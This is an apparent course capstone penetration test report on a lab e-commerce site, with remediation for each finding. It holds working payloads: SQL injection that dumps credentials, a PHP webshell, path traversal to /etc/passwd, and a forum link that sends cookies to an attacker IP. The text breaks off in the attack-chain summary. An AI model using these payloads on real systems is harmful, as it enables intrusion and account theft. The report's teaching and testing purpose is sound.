Target: hacksmarter.hsm (Hack Smarter — Web App Pentesting Capstone)
Date: March-April 2026
Classification: Educational / Capstone Assessment
Executive Summary
This report documents a comprehensive web application penetration test against the Hack Smarter e-commerce ecosystem, conducted as the capstone assessment for the HackSmarter Web App Pentesting course.
Overall Risk Posture: CRITICAL
Starting from a completely unauthenticated position, I was able to extract the full user database including admin credentials within minutes through a UNION-based SQL injection in the product search functionality. No account or authentication was required.
From an authenticated user position, multiple stored XSS vulnerabilities in the forum and feedback systems enabled session hijacking of other users, including administrators. With administrative access, an unrestricted file upload in the logo change functionality allowed me to upload a PHP webshell and achieve Remote Code Execution on the underlying server as www-data.
The full attack chain from anonymous visitor to code execution on the server is achievable in under 10 minutes. A total of 30 vulnerabilities were identified across the application, spanning input validation failures, broken access controls, session management weaknesses, and security misconfigurations.
The two critical findings (SQL Injection and RCE via file upload) require immediate remediation. The remaining high and medium findings represent systemic weaknesses that, when chained together, significantly amplify the overall risk.
Scope and Objectives
Objectives
The primary objective was to evaluate the security posture of the Hack Smarter e-commerce application by identifying, validating, and documenting vulnerabilities across:
- Application-layer input handling
- Authentication and session management
- Authorization and access controls
- Business logic
- Server configuration and information exposure
In-Scope Assets:
- hacksmarter.hsm
- dev.hacksmarter.hsm
Provided Credentials
- Admin:admin123
- User:password
Additional accounts were created via the registration functionality during testing.
Testing Approach
This was a grey box assessment. Credentials were provided for two user roles. No source code, architecture documentation, or infrastructure diagrams were supplied. Testing was conducted from the perspective of three access levels: unauthenticated guest, standard user, and administrator.
Methodology
This assessment was conducted as the capstone challenge for the HackSmarter Web Application Pentesting course. The methodology follows the course's structured approach: beginning with reconnaissance and application mapping, then systematically testing each vulnerability category covered in the curriculum against the target — working from unauthenticated access through authenticated user and administrator perspectives.
The course instructs students to work through their notes from the beginning and verify each vulnerability class against the application. I followed a similar approach.
Phase 1 — Reconnaissance and Mapping
- Port scanning and service enumeration to identify exposed services
- Technology fingerprinting via response headers and automated scanning
- Virtual host / subdomain fuzzing to discover additional attack surface
- Directory / file enumeration to map endpoints
- Manual application browsing with Burp Suite running to capture the full request surface
Phase 2 — Unauthenticated Testing
Testing all functionality accessible without credentials:
- Login and registration form analysis (enumeration, weak policy, brute force controls)
- Input injection on externally exposed parameters (SQLi, LFI, XSS, SSTI, etc.)
- Open redirect and session token handling prior to authentication
- Rate limiting on all public-facing forms
Phase 3 — Authenticated Testing (Standard User)
Testing all functionality available to a registered user:
- Session management: cookie security attributes, fixation, invalidation behaviour
- Authorization: IDOR, privilege escalation, API access controls
- Injection: XSS across all input fields, SSRF via URL import, HTML injection
- CSRF: token implementation and method-level bypass testing
- File upload: SVG execution, content type validation
- Business logic: client-side restriction bypass, cart manipulation
Phase 4 — Authenticated Testing (Administrator)
Testing all functionality available to the admin role:
- File upload in administrative panel for RCE via PHP execution
- Access control verification on admin-only endpoints
Phase 5 — Chaining and Documentation
- Combining individual findings into realistic attack chains
- Validating each finding with a reproducible proof of concept
- Assigning severity ratings using CVSS 3.1 base scoring
Each finding was validated manually. Automated tools were only used for initial reconnaissance. All vulnerability assessments were performed by hand using Burp Suite and browser-based testing.
Tools Used
- RustScan / Nmap: Port scanning and service enumeration
- Nuclei: Automated vulnerability scanning (initial recon)
- ffuf: Subdomain and directory fuzzing
- dirsearch: Directory enumeration
- Burp Suite: Request interception, manipulation, and replay
- Python (custom scripts): Rate limit testing
- Browser DevTools: Client-side analysis, DOM manipulation
Findings Summary
Critical: 2
SQL Injection, Remote Code Execution
High: 10
LFI, Stored XSS (x2), SSRF, CSRF bypass, IDOR, missing re-auth, insecure cookies, session fixation, improper session invalidation
Medium: 11
Open redirect, missing rate limiting, clickjacking, client-side bypass, user enumeration (x2), HTML injection, directory listing, product IDOR, exposed config (dev), phpinfo (dev)
Low / Info: 7
Weak password policy, exposed .gitignore, build log exposure, debug info disclosure, dead endpoint, missing headers, missing CSRF on cart
Critical Findings
C1 — SQL Injection (UNION-Based) in Product Search
- Severity: Critical (CVSS 9.8)
- CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command
- Affected Endpoint:
GET /store.php?search= - Authentication Required: None
Description
The product search functionality on store.php directly interpolates user input into a SQL query without parameterization or sanitization. Submitting a single quote (') in the search field triggers a verbose MySQL error, immediately confirming the injection point and leaking database structural information.
Through column enumeration using ORDER BY, I confirmed the query returns 7 columns. From there, a full UNION-based extraction was possible.
Proof of Concept
Step 1 — Trigger the error to confirm injection:
Entering a single ' in the search box produces a raw MySQL error in the browser response, confirming unsanitized input reaches the query engine.

Step 2 — Boolean-based confirmation:
A true condition returns normal results, a false condition returns none — confirming boolean-based blind injection is also possible.

Step 3 — Enumerate column count:
' ORDER BY 1 -- -Incrementing the column number from 1 upward. The query errors at 8, confirming 7 columns in the result set.

Step 4 — Identify reflected columns:
' UNION SELECT 1,2,3,4,5,6,7 -- -The response reveals which column positions are rendered in the page, enabling targeted data extraction.

Step 5 — Extract user credentials:
' UNION SELECT 1,2,GROUP_CONCAT(username, ':', password SEPARATOR 0x7c),4,5,6,7 FROM users -- -This dumps all usernames and bcrypt password hashes from the users table in a single request, with no authentication required.

Impact
- Full extraction of the user credential table (usernames, bcrypt hashes, privilege flags) by any unauthenticated visitor
- Admin password hash exposed — susceptible to offline cracking, especially given the weak password policy (see L1 — Weak Password Policy)
- Complete database structure enumeration via
information_schema - Potential filesystem access via
INTO OUTFILEifsecure_file_privis misconfigured
Remediation
- Use prepared statements with parameterized queries — this is the primary fix:
$stmt = $mysqli->prepare("SELECT * FROM products WHERE name LIKE ?");
$search = '%' . $_GET['search'] . '%';
$stmt->bind_param('s', $search);
$stmt->execute();- Disable error output in production — set
display_errors = Offinphp.ini - Apply least privilege to the database account — the application should not connect as root
- Implement input validation as defense-in-depth — reject SQL metacharacters in search input
- Deploy WAF rules to detect and block common SQLi patterns as a supplementary layer
C2 — Remote Code Execution via Unrestricted File Upload
- Severity: Critical (CVSS 9.1)
- CVSS Vector: AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
- CWE: CWE-434: Unrestricted Upload of File with Dangerous Type
- Affected Endpoint: Admin panel — site logo upload functionality
- Authentication Required: Admin
Description
The admin panel's logo upload feature performs a MIME-type check on uploaded files but fails to validate the file extension. By embedding a PHP webshell inside a valid PNG file and changing the filename extension to .php, the server accepts and stores the file in a web-accessible directory. The uploaded file is then directly executable via the browser.
Proof of Concept
Step 1 — Prepare the payload:
A valid PNG image was modified to include a PHP webshell (<?php system($_GET['cmd']); ?>) after the image header bytes. The filename was changed from untitled.png to untitled.php. The server's MIME-type check reads the file header and sees a valid image, but the .php extension causes Apache to execute the file as PHP.

Step 2 — Execute commands:
After upload, navigating to /uploads/logos/untitled.php?cmd=whoami returns www-data, confirming arbitrary command execution on the server.

Impact
- Full command execution on the web server as
www-data - Read/write access to application source code and configuration files
- Potential lateral movement within the internal Docker network (172.18.0.0/16)
- Persistent backdoor — the webshell remains on disk until manually removed
- Combined with the SQLi finding (C1), an unauthenticated attacker can crack the admin hash, log in, upload a shell, and own the server
Remediation
- Validate file extensions server-side — whitelist only permitted image extensions (
.png,.jpg,.gif) - Validate file content — check magic bytes AND extension, reject mismatches
- Store uploads outside the web root and serve them through a handler that sets
Content-Typeheaders without executing the file - Rename uploaded files to random names to prevent predictable access paths
- Disable PHP execution in upload directories via
.htaccess:
<Directory "/var/www/html/uploads">
php_flag engine off
</Directory>High Findings
H1 — Local File Inclusion via Language Parameter
- Severity: High (CVSS 7.5)
- CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- CWE: CWE-98: Improper Control of Filename for Include
- Affected Endpoint:
?lang=parameter - Authentication Required: None
Description
The ?lang= parameter is vulnerable to path traversal. By supplying a relative path with directory traversal sequences, an attacker can read arbitrary files from the server filesystem.
Proof of Concept
<http://hacksmarter.hsm/?lang=../../../../../../etc/passwd>
The contents of /etc/passwd are rendered in the response, confirming arbitrary file read.
Impact
- Read any file the web server process has permission to access
- Exposure of sensitive configuration files, source code, and credentials
- Can be chained with other findings (e.g., reading PHP session files for session hijacking)
Remediation
- Use a whitelist of allowed language files — never pass user input directly to
include()orrequire() - Strip or reject path traversal sequences (
../,..\\\\) - Enforce a base directory and resolve the full path before inclusion, rejecting any path that escapes it
H2 — Stored Cross-Site Scripting (Multiple Injection Points)
- Severity: High (CVSS 8.2)
- CVSS Vector: AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
- CWE: CWE-79: Improper Neutralization of Input During Web Page Generation
- Affected Endpoints:
feedback.php(name & message),forum.php(thread title),thread.php(post content) - Authentication Required: None (feedback), User (forum)
Description
Multiple input fields across the application accept and store JavaScript payloads without sanitization. When other users (including administrators) view the affected pages, the scripts execute in their browser context.
Proof of Concept
Feedback form — name and message fields:
Both the name and message input fields on feedback.php accept and render arbitrary JavaScript. Payloads persist and execute for any user viewing the feedback.


Forum — thread title (executes on forum.php for all users):
A JavaScript payload stored in a thread title fires every time any authenticated user loads the forum page.

Forum — post content (executes when thread is viewed):
Malicious JavaScript embedded in a thread's body content executes when any user opens that thread.

Impact
- Session hijacking via
document.cookieexfiltration (especially dangerous given the missingHttpOnlyflag - see H8 - Insecure Session Cookie Configuration) - Phishing via injected login forms or fake error messages
- Account takeover when combined with the CSRF bypass (H5 — CSRF Token Bypass on Profile Update)
- Defacement of the forum and feedback pages
Remediation
- Encode all user-supplied output — use
htmlspecialchars($input, ENT_QUOTES, 'UTF-8')when rendering user content in HTML - Implement Content Security Policy (CSP) headers to restrict inline script execution
- Set the
HttpOnlyflag on session cookies to prevent JavaScript access
H3 — Stored XSS via SVG File Upload
- Severity: High (CVSS 7.6)
- CVSS Vector: AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
- CWE: CWE-79 / CWE-434
- Affected Endpoint: Profile picture upload (avatar)
- Authentication Required: User
Description
The profile picture upload accepts SVG files. SVG is an XML-based format that can contain embedded JavaScript. By uploading an SVG containing a cookie-stealing XSS payload and directing a victim to the "view full size" avatar URL, the attacker captures the victim's session cookie.
Proof of concept
Step 1 — Create a malicious SVG with a cookie-stealing payload and start a listener:

Step 2 — Upload the SVG as a profile picture:

Step 3 — Victim navigates to the avatar (via "view full size"):

Step 4 — Cookie captured on attacker's listener:

Impact
- Targeted session hijacking — attacker can steal any user's cookie who views the avatar
- Can be combined with HTML injection in the forum to create a clickable link pointing to the malicious avatar URL
Remediation
- Block SVG uploads or serve them with
Content-Type: image/svg+xmlandContent-Disposition: attachmentto prevent rendering - Sanitize SVG content — strip
<script>tags and event handlers from uploaded SVGs - Serve user uploads from a separate domain (e.g.,
cdn.hacksmarter.hsm) to isolate cookie scope
H4 — Server-Side Request Forgery via Avatar URL Import
- Severity: High (CVSS 7.7)
- CVSS Vector: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
- CWE: CWE-918: Server-Side Request Forgery
- Affected Endpoint: Profile — "Import from URL" avatar functionality
- Authentication Required: User
Description
The "import from URL" feature for profile avatars allows users to supply an arbitrary URL. The server fetches the resource from the provided URL without validating the target, enabling an attacker to make the server issue requests to internal resources.
Proof of Concept
Internal port scanning via response differentiation:
Requesting http://localhost:80 returns a success response (port open), while requesting a closed port returns a different response. This allows an attacker to map internal services.


External resource fetch (confirming outbound SSRF):

Impact
- Internal port scanning to discover services (databases, caches, admin panels) not exposed to the internet
- Interaction with internal services (e.g., Redis, MySQL, cloud metadata endpoints)
- Potential for data exfiltration from internal APIs
Remediation
- Implement a URL allowlist — restrict imports to known, trusted external domains
- Block requests to private IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.169.254)
- Validate the resolved IP after DNS resolution to prevent DNS rebinding attacks
- Enforce a timeout and limit response size to prevent abuse
H5 — CSRF Token Bypass on Profile Update
- Severity: High (CVSS 8.1)
- CVSS Vector: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
- CWE: CWE-352: Cross-Site Request Forgery
- Affected Endpoint:
update_profile.php - Authentication Required: User (victim must be authenticated)
Description
The update_profile.php endpoint includes CSRF token protection on POST requests. However, the endpoint also accepts GET requests, and GET requests do not validate the CSRF token. An attacker can craft a malicious link or embed an image tag that triggers a GET request to change the victim's email and password without their knowledge.
Proof of Concept
Step 1 — Confirm CSRF protection works on POST:
Sending a POST request with the victim's session cookie but the attacker's CSRF token is correctly rejected.

Step 2 — Switch to GET — CSRF token is not validated:
Changing the HTTP method from POST to GET bypasses the CSRF check entirely. The profile update succeeds with a mismatched or missing token.


Step 3 — Weaponize with a phishing page:
A simple HTML page hosted by the attacker contains a button or auto-submitting form that sends the malicious GET request. When the victim (who is logged in) clicks the link, their email and password are silently changed to attacker-controlled values.


Impact
- Full account takeover — attacker changes the victim's email and password in one request
- No user interaction beyond clicking a link (or visiting a page with a malicious
<img>tag) - Particularly dangerous in combination with stored XSS — an attacker can embed the CSRF payload directly in a forum post
Remediation
- Reject GET requests for state-changing operations — only accept POST
- Validate the CSRF token on all HTTP methods — do not skip validation based on request method
- Set
SameSite=Stricton session cookies to prevent cross-origin request attachment
H6 — Insecure Direct Object Reference (IDOR) — Forum Post Impersonation
- Severity: High (CVSS 7.1)
- CVSS Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N
- CWE: CWE-639: Authorization Bypass Through User-Controlled Key
- Affected Endpoint:
POST /api/forum/post.php - Authentication Required: User (any authenticated user)
Description
The forum post API accepts a user-controlled user_id parameter and creates posts attributed to whatever user ID is specified. Any authenticated user can impersonate any other user - including the administrator - by simply changing the user_id value in the request body.
Proof of Concept
Step 1 — Discover the API endpoint:
Browsing to /api/ reveals directory listing is enabled. Navigating to /api/forum/post.php via GET returns an error indicating only POST is allowed.

Step 2 — Send a POST request with required parameters:
Switching to POST in Burp Suite reveals the required parameters: title, content, and user_id.

Step 3 — Create a post as user ID 1 (admin):

Step 4 — Create a post as user ID 2:

Step 5 — Verify on the forum page:
Both impersonated posts appear on the forum, attributed to admin and user respectively.

Impact
- Any authenticated user can post as any other user, including administrators
- Enables social engineering attacks through impersonation
- Combined with stored XSS in forum posts, an attacker can create an admin-attributed post containing a malicious payload
Remediation
- Derive the user ID server-side from the session — never accept user-supplied identity values for post attribution
- Validate that the session user matches the requested user_id if the parameter must exist for API design reasons
H7 — Missing Re-Authentication on Password and Email Changes
- Severity: High (CVSS 8.3)
- CVSS Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
- CWE: CWE-620: Unverified Password Change
- Affected Endpoint
update_profile.php - Authentication Required: User (session access only)
Description
The profile update page allows changing the account password and email address without requiring the current password. An attacker who obtains a valid session (through XSS, session fixation, or physical access) can permanently take over the account by changing both the password and email.

Impact
- Permanent account takeover from any form of session compromise
- No way for the original user to recover the account if the email is also changed
- Amplifies the impact of every session-stealing vulnerability in the application
Remediation
- Require the current password before allowing password or email changes
- Send a confirmation email to the original address before email changes take effect
- Invalidate all existing sessions after a password change (see H10 — Improper Session Invalidation After Credential Changes)
H8 — Insecure Session Cookie Configuration
- Severity: High (CVSS 7.4)
- CVSS Vector: AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
- CWE: CWE-614 (Missing Secure Flag) / CWE-1004 (Missing HttpOnly Flag) / CWE-1275 (Improper SameSite Attribute)
- Affected Asset: PHPSESSID cookie
- Authentication Required: N/a
Description
The PHPSESSID session cookie is configured without critical security attributes:
- Not set — JavaScript can read the cookie via
document.cookie Secure: Not set - cookie is transmitted over unencrypted HTTPSameSite: Not set - cookie is attached to cross-origin requests

Impact
- Every XSS vulnerability in the application can exfiltrate session cookies — missing
HttpOnlyis the enabling condition - Session tokens are exposed to network-level interception (no HTTPS enforcement)
- Cross-site request forgery attacks are facilitated by the missing
SameSiteattribute - This finding is a force multiplier — it directly amplifies XSS (H2, H3), CSRF (H5), and session fixation (H9)
Remediation
In php.ini or at application startup:
session.cookie_httponly = 1
session.cookie_secure = 1
session.cookie_samesite = StrictH9 — Session Fixation
- Severity: High (CVSS 7.1)
- CVSS Vector: AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N
- CWE: CWE-384: Session Fixation
- Affected Endpoint:
login.php - Authentication Required: None
Description
The session identifier assigned before login remains unchanged after successful authentication. The PHPSESSID cookie set during the unauthenticated browsing session persists through the login process without regeneration.
proof of concept
Before login — note the session cookie value:

After login — the cookie value is identical:

Impact
If an attacker can set or predict a victim's session cookie (via XSS, network injection, or a crafted URL), that pre-set cookie becomes an authenticated session once the victim logs in. The attacker can then use the known cookie value to access the victim's account.
Remediation
- Regenerate the session ID immediately after successful authentication:
session_regenerate_id(true);- This should also be done on any privilege level change (e.g., guest → user → admin)
H10 — Improper Session Invalidation After Credential Changes
- Severity: High (CVSS 8.1)
- CVSS Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
- CWE: CWE-613: Insufficient Session Expiration
- Affected Endpoint:
update_profile.php - Authentication Required: User
Description
After a user changes their password or email, the existing session cookie remains valid. The user is not logged out, and no new session is created. An attacker who has previously stolen a session token retains access even after the victim changes their credentials.


Impact
- Stolen sessions remain active indefinitely, even after the victim takes corrective action
- Undermines the effectiveness of password resets as a security response
Remediation
- Invalidate all active sessions when the password or email is changed
- Force re-authentication immediately after credential changes
Medium Findings
M1 — Open Redirect via Login Page
- Severity: Medium (CVSS 6.1)
- CVSS Vector: AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- CWE: CWE-601: URL Redirection to Untrusted Site
- Affected Endpoint:
POST /login.php—nextparameter - Authentication Required: None
Description
The login form uses a next parameter to redirect users after authentication. This parameter accepts arbitrary URLs, allowing an attacker to craft a login link that redirects the victim to a malicious site after they authenticate.
Proof of concept
Step 1 — Intercept login request, observe the next=store.php parameter:


Step 2 — Replace store.php with an external URL:

Step 3 — User is redirected to the attacker's domain after login:

After login, the attacker's site is fetched.

Impact
- Credential phishing — redirect to a fake login page that claims "session expired, log in again"
- Malware delivery — redirect to a drive-by download page
- Undermines user trust in legitimate login links
Remediation
- Validate the
nextparameter against a whitelist of allowed internal paths - Reject absolute URLs and external domains — only allow relative paths
- Verify the redirect target starts with
/and does not contain//or@
M2 — Missing Rate Limiting on Authentication and Input Endpoints
- Severity: Medium (CVSS 6.5)
- CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
- CWE: CWE-307: Improper Restriction of Excessive Authentication Attempts
- Affected Endpoints
login.php,register.php,feedback.php/* - Authentication Required: None
Description
No rate limiting, account lockout, or CAPTCHA is enforced on the login, registration, or feedback endpoints. An attacker can send unlimited requests without any throttling.
Proof of Concept
A custom Python script was written to send 50 rapid-fire requests to each endpoint with zero delay:
Login — all 50 requests returned 200 OK, no lockout or throttling:

Registration — all 50 accounts created successfully:

Feedback — all 50 submissions accepted:

Summary — no rate limiting detected on any endpoint:

Impact
- Brute force attacks against user accounts are trivially possible
- Mass account creation for spam or abuse
- Feedback form spamming / denial of service
- Combined with user enumeration (M5, M6), an attacker can first identify valid usernames, then brute force their passwords with no restrictions
Remediation
- Implement progressive rate limiting — block or delay after N failed attempts per IP/account
- Add account lockout after repeated failed login attempts (with lockout notification)
- Deploy CAPTCHA on registration and feedback forms after a threshold
- Log and alert on high-volume authentication attempts
M3 — Clickjacking via Missing Frame Protections
- Severity: Medium (CVSS 6.1)
- CVSS Vector: AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- CWE: CWE-1021: Improper Restriction of Rendered UI Layers
- Affected Asset: Entire application
- Authentication Required: None
Description
The application does not set X-Frame-Options or Content-Security-Policy: frame-ancestors headers. The entire site can be embedded in an <iframe> on an attacker-controlled page, enabling clickjacking attacks.


Remediation
Add to server configuration or application responses:
X-Frame-Options: DENY
Content-Security-Policy: frame-ancestors 'none'M4 — Client-Side Access Control Bypass (Region Restriction)
- Severity: Medium (CVSS 4.3)
- CVSS Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
- CWE: CWE-602: Client-Side Enforcement of Server-Side Security
- Affected Endpoint
store.php— Flipper Zero product - Authentication Required: User (for cart access)
Description
A product (Flipper Zero) is marked as region-restricted and hidden from users via client-side JavaScript. The restriction is controlled entirely by a data-region-available HTML attribute - the server does not enforce the restriction.
Proof of Concept
Step 1 — Product is visually blocked with an error message:

Disabling javascript works to get the "View & Buy" button to show on store.php, but the product is still blocked once we click it, which lead to further analysis and discovery of the data-region-available attribute in the store.php page source code.

Step 2 — Analyze the client-side control:
The data-region-available attribute is checked by store.js. If the value is 0, the product is hidden and the "Add to Cart" button is disabled. No server-side validation exists.


There is also a comment in the store.js code itself which directly points out this vulnerability.
Step 3 — Bypass via browser console:
Since this is a client side control, all we have to do is set the attribute to 1, and then unhide the disabled buttons. We can do so with this payload via the dev console
document.querySelector('.product-card').setAttribute('data-region-available', '1');
const btn = document.querySelector('.btn-buy');
btn.disabled = false;
btn.style.display = 'block';
Step 4 — Successfully order the restricted product:

Impact
- Region-based access controls are completely ineffective
- Users in restricted regions can purchase products they should not have access to
- Business logic violation — any client-side-only enforcement can be trivially bypassed
Remediation
- Enforce region restrictions server-side — validate the user's region on the backend before processing the order
- Client-side controls should be cosmetic only — never trust them for security
M5 — User Enumeration via Login Response
- Severity: Medium (CVSS 5.3)
- CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- CWE: CWE-204: Observable Response Discrepancy
- Affected Endpoint
login.php - Authentication Required: None
Description
The login form returns different error messages depending on whether the username exists. A non-existent username produces "user not found," while an existing username with the wrong password produces "incorrect password." This allows an attacker to enumerate valid usernames.


Remediation
Use a generic error message for all login failures: "Invalid username or password."
M6 — User Enumeration via Registration Response
- Severity: Medium (CVSS 5.3)
- CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- CWE: CWE-204: Observable Response Discrepancy
- Affected Endpoint:
register.php - Authentication Required: None
Description
The registration form reveals whether a username or email is already registered through distinct error messages: "username is already taken" and "email is already registered."


Remediation
Use a single generic message: "If this information is available, your account will be created." Send confirmation details via email rather than displaying registration status.
M7 — HTML Injection via Forum Posts
- Severity: Medium (CVSS 5.4)
- CVSS Vector: AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- CWE: CWE-80: Improper Neutralization of Script-Related HTML Tags
- Affected Endpoints: Forum thread title and content
- Authentication Required: User
Description
Forum post titles and content accept and render raw HTML without sanitization, enabling an attacker to inject arbitrary HTML like fake links, buttons, forms, or other UI elements to deceive other users. This is distinct from the stored JavaScript execution documented in H2 (which covers script payloads that fire automatically). This finding focuses on HTML injection as a social engineering and phishing vector: visually convincing, user-triggered content that abuses user trust in the forum.
Note on scope: The proof of concept below uses an onclick handler, which technically crosses into XSS territory (already covered in H2). This finding is logged separately because HTML injection enabling is a distinct risk category — it doesn't require the victim to have JavaScript enabled, and the attack surface is the user's trust rather than automatic script execution.
Proof of Concept
An anchor tag was injected into a forum post styled as a legitimate promotion. When a user clicks it, their session cookie is silently exfiltrated to the attacker's server:
<a href="#" onclick="fetch('<http://10.200.36.124:8081/steal?c='+document.cookie>); return false;">
SPRING PROMO! Click here to add a 50% off discount for your next checkout. On us!
</a>
Cookie captured when a user clicks the link:

Remediation
- Sanitize HTML in all user-generated content — strip or encode all HTML tags on output
- If rich formatting is needed, use a Markdown parser with a strict allowlist of safe elements (no
<a onclick>, no event handlers)
M8 — Directory Listing Enabled on Sensitive Paths
- SeverityMedium (CVSS 5.3)
- CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- CWE: CWE-548: Exposure of Information Through Directory Listing
- Affected Paths
/uploads/,/config/,/includes/,/api/,/test/,/assets/ - Authentication Required: None
Description
Directory listing is enabled on multiple paths, exposing file names, directory structures, and in some cases the contents of sensitive files to unauthenticated users.

Disable directory listing in Apache configuration:
Options -IndexesM9 — Unauthenticated IDOR: Hidden Product Access
- Severity: Medium (CVSS 5.3)
- CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- CWE: CWE-639: Authorization Bypass Through User-Controlled Key
- Affected Endpoint:
GET /api/products/?id=6/store.php?id=6 - Authentication Required: None
Description
The /api/products/ endpoint exposes a full JSON listing of all products in the database, including products not displayed in the store UI. Product ID 6 is hidden from the storefront - it does not appear in the product listing for any user role, but can be accessed directly via the ?id=6 URL parameter by any unauthenticated visitor. The product can also be added to cart and purchased.
Proof of Concept
Step 1 — Browse the API products listing (directory listing enabled):
Navigating to /api/products/ returns a raw JSON dump of all products, revealing product IDs including ID 6 which is not shown on the store.

Step 2 — Access the hidden product directly:

Step 3 — Add to cart and complete purchase:

Impact
- Unreleased or restricted products can be discovered and purchased by users
- Business logic bypass — products hidden for pricing, legal, or availability reasons are circumventable
- Enables purchasing items before they are officially released or in regions/roles they are restricted to
Remediation
- Enforce server-side access controls on product visibility — the backend should check whether a product is marked as active/visible before returning it
- Restrict the
/api/products/listing endpoint - it should not return unpublished products to unauthenticated users - Disable directory listing on
/api/(see also M8 - Directory Listing Enabled on Sensitive Paths)
Low / Informational Findings
L1 — Weak Password Policy
- Severity: Low (CVSS 3.7)
- CVSS Vector: AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
- CWE: CWE-521: Weak Password Requirements
- Affected Endpoint:
register.php - Authentication Required: None
The application allows single-character passwords. No minimum length, complexity, or common-password checks are enforced.

Remediation: Enforce minimum 8 characters with complexity requirements. Check against common password lists.
L2 — Exposed .gitignore File
- Severity: Informational
- Affected Endpoint:
/.gitignore - CWE: CWE-552: Files or Directories Accessible to External Parties
- Authentication Required: None
The .gitignore file is publicly accessible, revealing file and directory names used in the development environment.

Remediation: Block access to dotfiles in Apache configuration:
<FilesMatch "^\\.">
Require all denied
</FilesMatch>L3 — Exposed Configuration Directory on Development Subdomain
- Severity: Medium (CVSS 5.3)
- CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Affected Endpoint:
dev.hacksmarter.hsm/config/ - CWE: CWE-548: Exposure of Information Through Directory Listing
- Authentication Required: None
The development subdomain exposes a /config/ directory with directory listing enabled, potentially revealing application configuration details.

Remediation: Restrict access to the development subdomain via IP allowlist or authentication. Remove it from production infrastructure entirely.
L4 — Publicly Accessible phpinfo() on Development Subdomain
- Severity: Medium (CVSS 5.3)
- CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- CWE: CWE-215: Insertion of Sensitive Information Into Debugging Code
- Affected Endpoint
dev.hacksmarter.hsm— phpinfo() page - Authentication Required: None
A phpinfo() page is accessible on the development subdomain, disclosing PHP version, loaded modules, server environment variables, and internal paths.

Remediation: Remove phpinfo() calls from all accessible endpoints. Restrict the dev subdomain.
L5 — Exposed Build Log in /test/ Directory
- Severity: Low (CVSS 3.7)
- CVSS Vector: AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
- Affected Endpoint:
/test/build_log.txt - CWE: CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory
- Authentication Required: None
A GitHub Actions build log file is publicly accessible in the /test/ directory, revealing CI/CD pipeline details, internal paths, and potentially sensitive build configuration.


Remediation: Remove test artifacts from production. Block access to /test/ or delete it entirely.
L6 — Debug Information Disclosure in Forum API Response
- Severity: Informational
- CWE: CWE-215: Insertion of Sensitive Information Into Debugging Code
- Affected Endpoint:
POST /api/forum/post.php - Authentication Required: Yes
When creating a forum post, the API response includes internal user IDs and debug information that should only be visible server-side.

Remediation: Strip internal identifiers and debug data from production API responses.
L7 — Incomplete Password Reset Functionality (Dead Endpoint)
- Severity: Informational
- CWE: CWE-640: Weak Password Recovery Mechanism for Forgotten Password
- Affected Endpoints
/forgot_password.php,/reset_confirm.php
The password reset page at /forgot_password.php presents a form, but the email functionality does nothing. The OTP verification button links to reset_confirm.php, which returns a 404 error. This appears to be an incomplete feature deployed to production.


Remediation: Remove incomplete features from production. Deploy only when fully implemented and tested.
L8 — Missing Security Headers
- Severity: Informational
- CWE: CWE-693: Protection Mechanism Failure
- Affected Asset: All responses
The application is missing several recommended security headers, as confirmed by Nuclei:
Content-Security-PolicyX-Content-Type-OptionsX-Frame-Options(also see M3 - Clickjacking via Missing Frame Protections)Strict-Transport-SecurityReferrer-PolicyPermissions-PolicyCross-Origin-Embedder-PolicyCross-Origin-Opener-PolicyCross-Origin-Resource-Policy
Remediation: Implement security headers at the web server level. A reasonable baseline:
Header set X-Content-Type-Options "nosniff"
Header set X-Frame-Options "DENY"
Header set Referrer-Policy "strict-origin-when-cross-origin"
Header set Content-Security-Policy "default-src 'self'; script-src 'self'"
Header set Permissions-Policy "geolocation=(), camera=(), microphone=()"L9 — Missing CSRF Protection on Cart Operations
- Severity: Low (CVSS 3.5)
- CVSS Vector: AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:L/A:N
- CWE: CWE-352: Cross-Site Request Forgery
- Affected Endpoint: Cart add/remove/checkout functionality
- Authentication RequiredUser
No CSRF tokens are present on any cart operation — adding items, removing items, or proceeding to checkout. A malicious page can silently submit these actions on behalf of a logged-in user without their knowledge.
While the impact is lower than account takeover CSRF (H5), this is a complete absence of CSRF controls on commercially sensitive operations. Combined with the open redirect (M1) and stored XSS (H2), an attacker could manipulate a victim's cart contents or trigger unwanted purchases.
Remediation: Implement CSRF tokens on all cart and checkout endpoints, consistent with the token pattern already partially deployed on update_profile.php.
Attack Chain Summary
The following chain demonstrates how individual findings combine into a full compromise scenario, achievable by an unauthenticated attacker:
Unauthenticated Attacker
│
▼
[C1] SQL Injection in /store.php?search=
│ Extract admin bcrypt hash
▼
